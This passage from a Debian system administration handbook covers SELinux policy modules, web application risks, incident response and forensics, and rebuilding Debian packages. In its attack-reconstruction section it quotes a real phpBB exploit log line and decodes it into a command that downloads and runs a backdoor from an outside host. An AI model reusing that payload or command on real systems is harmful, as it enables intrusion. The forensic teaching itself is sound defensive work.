Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/).

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> off

# setsebool -P httpd_enable_homedirs on

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> on

14.5.4. 适应规则

既然 SELinux 策略是模块化的，那么为（定制化）新应用开发新模块是很有趣的。这些新模块会完善参考策略。

要创建新模块，需要 selinux-policy-dev 软件包，还有 selinux-policy-doc。后者包含了标准规则的文档（/usr/share/doc/selinux-policy-doc/html/）和可用于创建新规则的模板示例文件。安装这些文件并更深入的研究：

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile

$ cp /usr/share/doc/selinux-policy-doc/example.fc ./

$ cp /usr/share/doc/selinux-policy-doc/example.if ./

$ cp /usr/share/doc/selinux-policy-doc/example.te ./

The .te file is the most important one. It defines the rules. The .fc file defines the “file contexts”, that is the types assigned to files related to this module. The data within the .fc file are used during the file labeling step. Finally, the .if file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.

14.5.4.1. 写一个 .fc 文件

阅读下面的例子足可以理解此类文件的结构。可以使用正则表达式给多个文件，甚至是整个目录树赋予相同的安全上下文。

例 14.2. example.fc 文件

# myapp executable will have:

# label: system_u:object_r:myapp_exec_t

# MLS sensitivity: s0

# MCS categories: <none>

/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. 写一个 .if 文件

在下面的例子中，第一个接口（myapp_domtrans）控制谁可以执行程序。第二个（myapp_read_log）授予程序日志文件的读权限。

每个接口必须有一套规则并嵌入到 .te 文件。因此必须声明所有使用的类型（使用 gen_require 宏），并使用标准指令授予权限。也可以使用其他模块提供的接口。如何表示这些权限将在下节给出更详细的解释。

例 14.3. example.if 文件

## <summary>Myapp example policy</summary>

## <desc>

##      <p>

##              More descriptive text about myapp.  The desc

##              tag can also use p, ul, and ol

##              html tags for formatting.

##      </p>

##      <p>

##              This policy supports the following myapp features:

##              <ul>

##              <li>Feature A</li>

##              <li>Feature B</li>

##              <li>Feature C</li>

##              </ul>

##      </p>

## </desc>

#

########################################

## <summary>

##      Execute a domain transition to run myapp.

## </summary>

## <param name="domain">

##      <summary>

##      Domain allowed to transition.

##      </summary>

## </param>

#

interface(`myapp_domtrans',`

gen_require(`

type myapp_t, myapp_exec_t;

')

domtrans_pattern($1,myapp_exec_t,myapp_t)

')

########################################

## <summary>

##      Read myapp log files.

## </summary>

## <param name="domain">

##      <summary>

##      Domain allowed to read the log files.

##      </summary>

## </param>

#

interface(`myapp_read_log',`

gen_require(`

type myapp_log_t;

')

logging_search_logs($1)

allow $1 myapp_log_t:file read_file_perms;

')

文档关于参考策略的解释

The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. 写一个 .te 文件

看一看 example.te 文件：

进阶 m4 宏语言

要恰当的构建策略，SELinux 开发者使用宏命令处理器。他们创建了“宏功能”，而非重复使用很多相似的允许（allow）指令，来使用高级别的逻辑生成更加可读的策略。

实际上，m4 用于编译这些规则。它进行反方向地操作：将所有高级别的逻辑扩展为由允许（allow）指令组成的巨型数据库。

SELinux“接口”只是宏功能，在编译时它会被一套规则替代。类似地，有些权限其实是一套权限集合，它们在编译时会被实际值取代。

policy_module(example,1.0.0) # a non-base module name must match the file name

########################################

#

# Declarations

#

type myapp_t;

type myapp_exec_t;

domain_type(myapp_t)

domain_entry_file(myapp_t, myapp_exec_t)

type myapp_log_t;

logging_log_file(myapp_log_t)

type myapp_tmp_t;

files_tmp_file(myapp_tmp_t)

########################################

#

# Myapp local policy

#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

模块必须通过名字和版本号标识。此指令是必须的。

如果模块引入了新类型，它们必须使用类似的指令声明。不要害怕需要创建的类型过多，这总胜过赋予过多无用权限。

这些接口定义 myapp_t 类型为进程域，它可以被标识为 myapp_exec_t 的可执行程序使用。这隐式地给这些对象添加 exec_type 属性，反过来允许其他模块授予权限执行这些程序：例如，userdomain 模块允许具有 user_t，staff_t，和 sysadm_t 域的进程执行。其他受限域将无权运行，除非规则赋予它们类似的权限（在此例中，dpkg 和域 dpkg_t）。

logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them).

allow 指令是授予操作权限的基本指令。第一个参数是允许执行操作的进程域。第二个定义前面的域进程可以操作的对象。参数的形式是：“type:class”此处 type 是 SELinux 类型，class 描述对象（文件，目录，套接字，fifo，等等）属性。最后的参数描述许可权限（即允许的操作）。

Permissions are defined as the set of allowed operations and follow this template: { operation1 operation2 }. However, you can also use macros representing the most useful permissions. The /usr/share/selinux/devel/include/support/obj_perm_sets.spt lists them.

The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted.

→ https://selinuxproject.org/page/ObjectClassesPerms

现在需要找到能确保目标程序或服务正常工作的最小规则集合。要做到这一点，就要很好的理解应用程序是如何工作的，它需要处理或生成什么样的数据。

然而，实验方法也可以。一旦相关的对象被正确标识，可以在许可模式下使用应用程序：应该禁止的操作会被记录但是仍然会运行。通过分析日志，就能识别那些操作应该允许。这里有一个此类日志条目示例：

avc:  denied  { read write } for  pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

为了更好的理解这条信息，我们逐一分析。

表 14.1. SELinux 追踪记录分析

消息

描述

avc: denied

一个操作被拒绝。

{ read write }

该操作需要 读－read 和 写－write 许可。

pid=1876

进程号为1876的进程执行的操作（或者试图执行）。

comm="syslogd"

该进程是 syslogd 程序的一个实例。

name="xconsole"

The target object was named xconsole. Sometimes you can also have a “path” variable — with the full path — instead.

dev=tmpfs

The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).

ino=5510

对象的节点（inode）号码是5510。

scontext=system_u:system_r:syslogd_t:s0

这是执行操作进程的安全上下文。

tcontext=system_u:object_r:device_t:s0

这是执行操作对象的安全上下文。

tclass=fifo_file

目标对象是一个 FIFO 文件。

By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial.

补充无角色的策略规则

It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as Type Enforcement and the type is the only element that matters when granting rights.

14.5.4.4. 编译文件

Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files.

14.6. 其他安全相关事项

Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.

14.6.1. 网页应用程序的内在风险

Web 应用的普遍性导致其剧增。往往是几个并行运行：网页邮件，维基，群件系统，论坛，图片库，博客等等。许多应用依赖于“LAMP”（Linux, Apache, MySQL, PHP）。不幸的是，很多这种应用在编写的时候没有考虑安全问题。而源于外部世界的数据通常很少或者不去验证。使用特别数值可以将一个调用暗中转换成一个指令，以便于执行另外的替代程序。许多明显的问题随着时间的推移都被修正了，然而新的安全问题又时不时的跳出来。

词汇 SQL 注入

When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible.

→ https://en.wikipedia.org/wiki/SQL_Injection

Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement.

14.6.2. 知道预期什么

网页应用程序的弱点常常是攻击尝试的起点。下面简单的回顾一下可能的后果。

速览过滤 HTTP 查询

Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.

设定这些检查是费时，费劲的任务。但当网页应用有一条可疑追踪记录时，就会有所回报。

mod-security2 (in the libapache2-mod-security2 package) is the main such module. It even comes with many ready-to-use rules of its own (in the modsecurity-crs package) that you can easily enable.

The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines.

A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the www-data user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a wget command that will download some malware into /tmp/, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.

此时，攻击者就有足够的行动自由了，他们常常会安装一个 IRC 机器人－bot（一个连接到 IRC 服务器的机器人并且可以通过频道来控制）。该机器人常常用来共享非法文件（未授权的电影或软件拷贝，等等）。一个坚决的攻击者可能会走到更远。www-data 账户不允许对机器的完全存取，攻击者会尝试获取管理员权限。现在，这个还不可能，但是如果网页应用程序不是最新的，内核和其他程序有可能也是过期的；这有时候源于管理员的决断，尽管知道容易遭受攻击，由于没有本地用户仍然忽略更新。然后，攻击者就会利用第二个弱点来取得超级用户权限。

词汇特权升级

该术语涵盖了任何用于获得比给定用户正常情况下更多权限的行为。sudo 程序被设计用来将管理员权限赋予某些用户。但是，同样的术语也用来描述攻击者利用漏洞获取不当权限。

Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time (see also 速览 checksecurity 和 chkrootkit/rkhunter 软件包); the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on.

这种噩梦可以通过几种方法阻止。接下来的章节会讲述几种方法。

14.6.3. 明智地选择软件

Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit.

词汇 安全审核

安全审核是彻底地阅读和分析某些软件的源代码，并寻找它可能包含的潜在安全漏洞。这种审核通常是预先的，并用于确保程序符合特定的安全需求。

In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.

词汇 0day 漏洞

零日漏洞攻击很难预防；该术语用于描述程序中那些作者还不知道的漏洞。

14.6.4. 将机器作为整体管理

Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.

出于同样的原因，防火墙通常配置为只允许访问公共服务。

Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).

14.6.5. 用户是参与者

谈到安全，要马上考虑保护免受隐藏在互联网丛林里匿名破坏者的攻击；但是，经常被遗忘的事实是－风险也来自内部：离职雇员会下载重要敏感的项目文件并买给竞争对手；大意的销售可能在开前景规划会议时，离开电脑而没有锁定桌面；笨拙的用户可能误删目录；等等。

对付这些风险可以使用技术手段：授予用户的权限不多于所需求的权限，并且必须进行常规备份。但是在许多情况下，适当的保护也包含培训用户进而规避风险。

速览 autolog

autolog 软件包可以在设定的延时过后自动断开非活动用户。也可以在会话结束后，杀死用户进程，进而防止用户运行守护进程。

14.6.6. 物理安全

如果计算机本身没有受到保护，保护服务和网络是没有意义的。重要数据应该存储在 RAID 阵列可热交换硬盘上，即使硬盘失效，但是数据必须可用。如果送披萨的小伙子能进入大楼，溜进服务器房间并带着几块硬盘逃跑，那么安全的重要方面没有满足。谁可以进入服务器房间？出入被监控了吗？当评估物理安全时，需要考虑这些问题。

物理安全也包括考虑事故风险，例如火灾。这种特殊风险说明有理由将备份介质保存在单独的建筑物，或者至少保存在防火保险箱内。

14.6.7. 法律责任

管理员或多或少被用户和网络用户所信任。因此，应避免任何可能被恶人利用的漏洞。

An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant, nevertheless. In other cases, more important trouble can be caused from your machine, for instance, denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.

如果此类情况发生了，自称清白通常是不够的；至少，你要出示在你系统上进行可疑活动源于指定 IP 的证据。这几乎是不可能的，如果你忽略了本章的推荐，让攻击者获得特权账户（特别是超级用户）并使用它来掩盖痕迹。

14.7. 处理被攻陷的机器

尽管有最好的意图和精心设计的安全策略，管理员最终还是会面对劫持行为。本节提供一些指导，介绍碰到这种情况时如何应对。

14.7.1. 探测并观察黑客入侵

对付侵入的第一步是要注意黑客的这种行为。它通常不是自明的，特别是在没有足够的监控措施时。

Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance, one named apache instead of the standard /usr/sbin/apache2. If we follow that example, the thing to do is to note its process identifier, and check /proc/pid/exe to see what program this process is currently running:

# ls -al /proc/3719/exe

lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc

一个程序安装在 /var/tmp/ 并作为网页服务器运行？毋庸置疑，机器已经被攻陷了。

此处只是一个示例，但是其他提示也会给管理员敲响警钟：

- 命令的某个选项不起作用了；命令自己声明的软件版本与根据 dpkg 安装的预期版本不一致；

- 命令行提示或者会话问候显示最后的连接源于其他洲的未知服务器；

- /tmp/ 分区已经被错误填满，而且都是由于非法的电影拷贝产生的；

- 等等。

14.7.2. 把服务器下线

除了非常特殊的情况，破解一般源于网络，攻击者需要连接网络达到目的地（读取机密数据，共享非法文件，使用中继隐藏身份，等等）。将计算机从网络上拔出会阻止攻击者达到这些目标，即使是他们还没能成功攻陷电脑。

This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it is usually a good idea to start by gathering some important information (see 第 14.7.3 节 “保留所有可以作为证据的东西”, 第 14.7.5 节 “法医分析” and 第 14.7.6 节 “重构攻击场景”), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.

14.7.3. 保留所有可以作为证据的东西

要知道针对攻击者的反击和从事法律活动需要所有重要元素的复本；包括硬盘内容，所有允许进程的清单，所有打开连接的清单。RAM 的内容也可以被使用，但是实践中很少使用。

在斗争最激烈的时候，管理员往往倾向于在感染电脑上执行许多检查；这通常不是一个好主意。每个命令都有可能已经被更改了并有可能擦除证据片段。检查应该限制在最小范围内（对于网络连接 netstat -tupan，列出所有进程 ps auxf，正在运行程序的信息 ls -alR /proc/[0-9]*），每个已进行过的检查都要仔细记下来。

注意 在线分析

While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It is quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!

如果仍然需要在线分析，要注意只使用已知的可信任程序。比较好的方法是使用含有简单程序的救援 CD，或者只读的网络共享。然而，如果内核本身被感染，这些措施也无济于事。

一旦“动态”元素已经被保存，下一步就是存储整个硬盘镜像。如果文件系统仍在变化，是不可能制作镜像的，就需要以只读方式挂载。最简单的办法是（在运行 sync 后）直接停机并使用救援 CD 重启系统。每个分区使用类似 dd 来拷贝；这些镜像可以发送到其他服务器（可以使用很方便的 nc 工具）。另一种可能更简单：把磁盘从机器里取出来并使用新的替代它，从新格式化，重装系统。

14.7.4. 重新安装

The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.

Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.

14.7.5. 法医分析

现在服务被恢复，是时候看看感染系统的磁盘镜像，找到攻击向量了。当加载这些镜像是，注意使用 ro,nodev,noexec,noatime 选项来避免改变其内容（包括读取文件的时间戳）或者误运行感染程序。

追踪痕迹通常需要寻找任何被更改和执行的东西：

- .bash_history 文件可用于查阅；

- 也会列出最近创建，修改和读取的文件；

- strings 通过从二进制中提取字符串，可辅助用于识别攻击者安装的程序；

- /var/log/ 日志文件可重建事件记录；

- 特殊用途的工具可用于恢复潜在被删除的文件，包括攻击者删除的日志文件。

Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package). Some Linux distributions have a "live install" image and contain many programs for forensic analysis, such as Kali Linux (see 第 A.8 节 “Kali Linux”), with its forensic mode, BlackArchLinux, and the commercial Grml-Forensic, based on Grml (see 第 A.6 节 “Grml”).

→ https://blackarch.org

→ https://grml-forensic.org/

14.7.6. 重构攻击场景

在分析过程中搜集到的所有元素应该像拼图一片一片组合起来；第一个可疑文件通常和提供突破口的日志文件相关。现实世界中的例子比冗长的理论明了。

下面的日志文件截取自 Apache access.log：

www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

This example matches exploitation of an old security vulnerability in phpBB.

→ https://www.phpbb.com/phpBB/viewtopic.php?t=240636

破译这段 URL 就会明白，攻击者成功运行了一些 PHP 代码，即：system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &")。实际上，在/tmp/会发现一个 bd 文件。运行 strings /mnt/tmp/bd 会发现字符串 PsychoPhobia Backdoor is starting...。这也确实看起来像个后门。

随后，访问权限会被用来下载，安装和运行连接到地下 IRC 网络的 机器人－bot。这个机器人通过 IRC 协议控制，用于下载文件并共享。程序甚至有自己的日志文件：

** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)

** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT

** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024

** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating

** 2004-11-29-19:50:20: DCC CHAT Correct password

(...)

** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)

(...)

** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)

(...)

** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)

(...)

** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)

跟踪记录显示有两个视频文件被存储在服务器上了。

同时，攻击者也下载了一对额外文件，/tmp/pt 和 /tmp/loginx。运行 strings 命令分析文件会发现诸如Shellcode placed at 0x%08lx 和 Now wait for suid shell...。这些看起来像是程序利用本地漏洞获取管理员特权。他们达到目的了吗？本例中，视乎没有，因为在他们开始活动之后，看起来没有文件被修改。

本例中，整个入侵过程被重构。可以推断，攻击者已经能够利用被侵入的系统三天左右；分析的成果在于漏洞已经被识别出来，并且管理员可以确保在下一次安装时确实修复了该漏洞。

第 15 章 创建 Debian 软件包

对于以常规方式处理Debian软件包的管理员来说，最终觉得需要创建自己的软件包或修改现有软件包是很常见的。本章旨在回答本领域最常见的问题，并提供必要的元素以最好的方式利用 Debian 基础设施。在尝试自己的本地包后，您甚至会觉得需要去更进一步并加入 Debian 项目！

15.1. 从源码重新构建安装包

在几种情况下需要重新构建二进制包。在某些情况下，管理员需要一个软件功能，需要软件使用特定的编译选项从源码来编译；还有一些其它情况，在已安装的 Debian 版本上打包的软件版本不够新。在后一种情况下，管理员通常将从较新版本的 Debian 构建更新的软件包——如 Testing（测试版）或者 Unstable（不稳定版）——这样新的软件包可以工作在 Stable（稳定版）上；这种操作被称之为“backporting”（向后移植）。像通常一样，应该小心谨慎，在执行这样的任务之前要检查是否有人已经做过了—— 在 Debian Package Tracker （Debian 软件包跟踪网页）上快速查看会显示该信息。

→ https://tracker.debian.org/

15.1.1. 获取源代码

Rebuilding a Debian package starts with getting its source code. The easiest way is to use the apt-get source package-name command. This command requires a deb-src line in the /etc/apt/sources.list file, and up-to-date index files (i.e. apt-get update). These conditions should already be met if you followed the instructions from the chapter dealing with APT configuration (see 第 6.1 节 “编写 sources.list 文件”). Note, however, that you will be downloading the source packages from the Debian version mentioned in the deb-src line.

If you need another version, you may need to download it manually from a Debian mirror or from the web site. This involves fetching two or three files (with extensions *.dsc — for Debian Source Control — *.tar.comp, and sometimes *.diff.gz or *.debian.tar.comp — comp taking one value among gz, bz2 or xz depending on the compression tool in use), then run the dpkg-source -x file.dsc command. If the *.dsc file is directly accessible at a given URL, there is an even simpler way to fetch it all, with the dget URL command. This command (which can be found in the devscripts package) fetches the *.dsc file at the given address, then analyzes its contents, and automatically fetches the file or files referenced within. Once everything has been downloaded, it verifies the integrity of the downloaded source packages using dscverify, and it extracts the source package (unless the -d or --download-only option is used). The Debian keyring is needed, unless the option -u is supplied.

15.1.2. 修改源码

让我们使用 samba 软件包作为示例。

$ apt source samba

Reading package lists... Done

NOTICE: 'samba' packaging is maintained in the 'Git' version control system at:

https://salsa.debian.org/samba-team/samba.git

Please use:

git clone https://salsa.debian.org/samba-team/samba.git

to retrieve the latest (possibly unreleased) updates to the package.

Need to get 12.3 MB of source archives.

Get:1 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (dsc) [4,514 B]

Get:2 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (tar) [11.8 MB]

Get:3 http://security.debian.org/debian-security bullseye-security/main samba 2:4.13.13+dfsg-1~deb11u3 (diff) [468 kB]

Fetched 12.3 MB in 3s (4,582 kB/s)

dpkg-source: info: extracting samba in samba-4.13.13+dfsg

dpkg-source: info: unpacking samba_4.13.13+dfsg.orig.tar.xz

dpkg-source: info: unpacking samba_4.13.13+dfsg-1~deb11u3.debian.tar.xz

dpkg-source: info: using patch list from debian/patches/series

dpkg-source: info: applying 07_private_lib

dpkg-source: info: applying bug_221618_precise-64bit-prototype.patch

dpkg-source: info: applying [...]

The source of the package is now available in a directory named after the source package and its version (samba-4.13.13+dfsg); this is where we'll work on our local changes.

The first thing to do is to change the package version number, so that the rebuilt packages can be distinguished from the original packages provided by Debian. Assuming the current version is 2:4.13.13+dfsg-1~deb11u3, we can create version 2:4.13.13+dfsg-1~deb11u3+falcot1, which clearly indicates the origin of the package. This makes the package version number higher than the one provided by Debian, so that the package will easily install as an update to the original package. Such a change is best effected with the dch command (Debian CHangelog) from the devscripts package.

$ cd 4.13.13+dfsg-1~deb11u3

$ dch --local +falcot

最后一个命令调用文本编辑器（sensible-editor——如果在 VISUAL 或 EDITOR 环境变量中提到的话，它应该是您首选的编辑器，此外也是默认编辑器），允许将这个重新构建导致的差异归档。这个编辑器向我们显示 dch 确实真正地更改了 debian/changelog 文件。

When a change in build options is required, the changes need to be made in debian/rules, which drives the steps in the package build process. In the simplest cases, the lines concerning the initial configuration (./configure …) or the actual build ($(MAKE) … or make … or cmake … or …) are easy to spot. If these commands are not explicitly called, they are probably a side effect of another explicit command, in which case please refer to their documentation to learn more about how to change the default behavior. With packages using dh, you might need to add an override for the dh_auto_configure or dh_auto_build commands (see their respective manual pages and debhelper(7) for explanations on how to achieve this).

依赖于对软件包的本地更改，在 debian/control 文件中也会需要更新，这个文件包含了对生成的软件包的描述。特别是，这个文件包含了 Build-Depends 行来控制依赖的列表，依赖列表必须在软件包构建时填入。这些经常参考源码包所来自的发布版本中包含的软件包版本，但在用于重新构建的发布版本中会不可用。没有自动的方式来确定依赖是真实的，还是特定的从而保证只通过最新版的库来尝试构建——这是在构建中强制 autobuilder 使用给定的软件包版本的唯一可用方式，这就是为什么 Debian 的维护者频繁地使用严格版本控制的构建依赖的原因。

如果确定知道这些构建依赖太过严格，那么自己应该大胆地在本地将其放松。阅读将构建软件归档的文件——这些文件通常被称为 INSTALL——这将有助于找到适当的依赖。理想上，所有依赖都应该是重新构建所使用的发布版本能满足的；如果不能满足，那么会开始循环过程，其中 Build-Depends 字段提到的软件包在可以成为目标软件包之前必须被逆向移植。一些软件包会不需要逆向移植，而可以在构建过程中原样安装（一个值得注意的例子是 debhelper）。注意，如果不小心的话，逆向移植过程会很快变得复杂。这样，逆向移植应该尽可能保持严格最小化。

技巧 安装构建依赖

apt-get allows installing all packages mentioned in the Build-Depends fields of a source package available in a distribution mentioned in a deb-src line of the /etc/apt/sources.list file. This is a simple matter of running the apt-get build-dep package command.

15.1.3. 开始重新构建

当所有需要的更改都应用到源代码后，我们就可以开始生成实际的二进制包了（.deb）。整个过程由 dpkg-buildpackage 命令来管理。

例 15.1. 重新构建软件包

$ dpkg-buildpackage -us -uc

[…]

